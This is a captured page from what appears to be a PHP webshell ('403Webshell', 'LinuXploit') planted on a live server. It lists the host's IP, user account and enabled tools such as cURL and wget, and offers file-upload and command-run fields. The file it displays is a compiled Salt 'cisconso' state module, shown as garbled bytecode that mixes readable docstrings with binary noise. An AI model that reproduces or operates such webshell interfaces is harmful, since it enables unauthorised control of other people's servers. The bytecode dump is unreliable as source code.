403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/cisconso.cpython-310.pyc
o

;j��@s.dZddlZdd�Zdd�ZGdd�d�ZdS)	z�
State module for Cisco NSO Proxy minions

.. versionadded:: 2016.11.0

For documentation on setting up the cisconso proxy minion look in the documentation
for :mod:`salt.proxy.cisconso <salt.proxy.cisconso>`.
�NcCsdtvrdSdS)N�cisconso.set_data_valueT)Fz#cisconso module could not be loaded)�__salt__�rr�H/opt/saltstack/salt/lib/python3.10/site-packages/salt/states/cisconso.py�__virtual__
srcCs�|didd�}td||�}tjj�||�r d|d<d|d<|Std	durMd
|d<d|d<t||�}|��|dd
<|��|dd<|�	�|dd<|Std|||�d|d<d|d<t||�}|��|dd
<|��|dd<|�	�|dd<|S)a�
    Ensure a specific value exists at a given path

    :param name: The name for this rule
    :type  name: ``str``

    :param datastore: The datastore, e.g. running, operational.
        One of the NETCONF store IETF types
    :type  datastore: :class:`DatastoreType` (``str`` enum).

    :param path: The device path to set the value at,
        a list of element names in order, / separated
    :type  path: ``list``, ``str`` OR ``tuple``

    :param config: The new value at the given path
    :type  config: ``dict``

    Examples:

    .. code-block:: yaml

        enable pap auth:
          cisconso.config_present:
            - name: enable_pap_auth
            - datastore: running
            - path: devices/device/ex0/config/sys/interfaces/serial/ppp0/authentication
            - config:
                authentication:
                    method: pap
                    "list-name": foobar

    F�)�name�result�changes�commentzcisconso.get_dataTr	zConfig is already setr�testNzConfig will be addedr
�new�removed�changedrzSuccessfully added config)
r�salt�utils�compat�cmpZ__opts__�_DictDiffer�addedrr)rZ	datastore�pathZconfig�ret�existing�diffrrr�
value_presents,!�
�
rc@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
rz�
    Calculate the difference between two dictionaries as:
    (1) items added
    (2) items removed
    (3) keys same in both but changed values
    (4) keys same in both and unchanged values
    cCs@|||_|_t|���t|���|_|_|j�|j�|_dS�N)�current_dict�	past_dict�set�keys�set_current�set_past�intersection�	intersect)�selfrrrrr�__init__Ys



�z_DictDiffer.__init__cC�|j|jSr)r r#�r$rrrra�z_DictDiffer.addedcCr&r)r!r#r'rrrrdr(z_DictDiffer.removedc��fdd��jD�S)Ncs$h|]}�j|�j|kr|�qSr�rr��.0�or'rr�	<setcomp>h�$z&_DictDiffer.changed.<locals>.<setcomp>�r#r'rr'rrg�z_DictDiffer.changedcr))Ncs$h|]}�j|�j|kr|�qSrr*r+r'rrr.kr/z(_DictDiffer.unchanged.<locals>.<setcomp>r0r'rr'r�	unchangedjr1z_DictDiffer.unchangedN)	�__name__�
__module__�__qualname__�__doc__r%rrrr2rrrrrPsr)r6Zsalt.utils.compatrrrrrrrr�<module>s
	=

Youez - 2016 - github.com/yon3zu
LinuXploit